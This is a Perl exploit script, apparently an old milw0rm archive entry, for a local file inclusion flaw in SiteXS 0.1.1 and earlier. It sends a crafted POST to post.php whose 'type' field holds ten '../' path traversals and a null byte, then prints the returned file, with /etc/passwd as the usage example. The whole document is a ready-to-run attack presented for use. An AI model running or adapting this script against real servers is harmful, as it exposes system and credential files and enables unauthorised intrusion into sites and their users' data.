# --+++==========================================================+++--
# --+++====== SiteXS <= 0.1.1 Local File Inclusion Exploit ======+++--
# --+++==========================================================+++--


#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub usage ()
{
	die "\n\nSiteXS <= 0.1.1 Local File Inclusion Exploit".
	    "\n[+] Author  : darkjoker".
	    "\n[+] Site    : http://darkjoker.net23.net".
	    "\n[+] Download: http://heanet.dl.sourceforge.net/sourceforge/sitexs/sitexs-0.1.1.tar.gz".
	    "\n[+] Usage   : perl ${0} <hostname> <path> <file>".
	    "\n[+] Ex.     : perl ${0} localhost /SiteXS /etc/passwd".
	    "\n[+] Notes   : Have fun\n\n";
}

my ($host, $path, $file) = @ARGV;

usage if (!$file);

my $sock = new IO::Socket::INET (
	PeerHost => $host,
	PeerPort => 80,
	Proto    => "tcp",
);

my $up = "../"x10;

$file =~ s/^\/// if ($file =~ /^\//);

my $varz = "type=${up}${file}%00";

my $post = "POST ${path}/post.php HTTP/1.1\r\n".
	"Host:	${host}\r\n".
	"Connection: Close\r\n".
	"Content-Type: application/x-www-form-urlencoded\r\n".
	"Content-Length: " . length ($varz) . "\r\n\r\n".
	$varz;

print $sock $post;

my $w = 0;

while (<$sock>)
{
	$w = 1 if ($w < 0);
	$w = -1 if ($_ =~ /Content-Type: text\/html/);
	$w = 0 if ($_ =~ /<br \/>/);
	print $_ if ($w == 1);

}

print "\n\n";

close ($sock);

# milw0rm.com [2009-01-26]
